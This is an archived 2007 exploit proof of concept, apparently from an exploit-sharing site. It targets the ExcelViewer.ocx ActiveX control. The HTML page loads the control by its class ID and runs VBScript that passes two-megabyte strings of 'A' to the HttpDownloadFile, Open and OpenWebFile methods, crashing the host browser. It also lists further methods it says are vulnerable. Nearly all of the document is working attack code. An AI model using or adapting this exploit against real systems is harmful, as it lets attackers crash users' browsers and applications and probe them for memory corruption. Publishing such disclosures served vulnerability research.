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excel-dos.txt

Posted on 03 May 2007

<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/02</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
<b>ExcelViewer.ocx v. 3.1.0.6 multiple methods Denial of Service</b>
url: http://www.officeocx.com/
sell: from 63.95 (update to last version) to 1,585.95 (Royalty)

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to these exploits.
Theese methods are vulnerable too:

<b>DoOleCommand</b>
<b>FTPDownloadFile</b>
<b>FTPUploadFile</b>
<b>HttpUploadFile</b>
<b>Save</b>
<b>SaveWebFile</b>
-----------------------------------------------------------------------------

<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B965' id='ExcelOCX' width="405" height="50"></object>

<select style="width: 404px" name="Pucca">
<option value = "HttpDownloadFile">HttpDownloadFile</option>
<option value = "Open">Open</option>
<option value = "OpenWebFile">OpenWebFile</option>
<option value = "Quoting">Quoting...</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
on error resume next
Dim MyMsg
if Pucca.value = "HttpDownloadFile" then
argCount = 2
arg1=String(2097512,"A")
arg2="defaultV"
ExcelOCX.HttpDownloadFile arg1, arg2
elseif Pucca.value = "Open" then
argCount = 1
arg1=String(2097512, "A")
ExcelOCX.Open arg1
elseif Pucca.value = "OpenWebFile" then
argCount = 1
arg1=String(2097512, "A")
ExcelOCX.OpenWebFile arg1
else
MyMsg = MsgBox ("...They'll learn much more than I'll ever know" & vbCrLf &_
"And I think to myself, what a wonderful world...",64 ,"2007/05/02 - ExcelViewer v. 3.1")
end if
End Sub
</script>
</span></span>
</code></pre>

 

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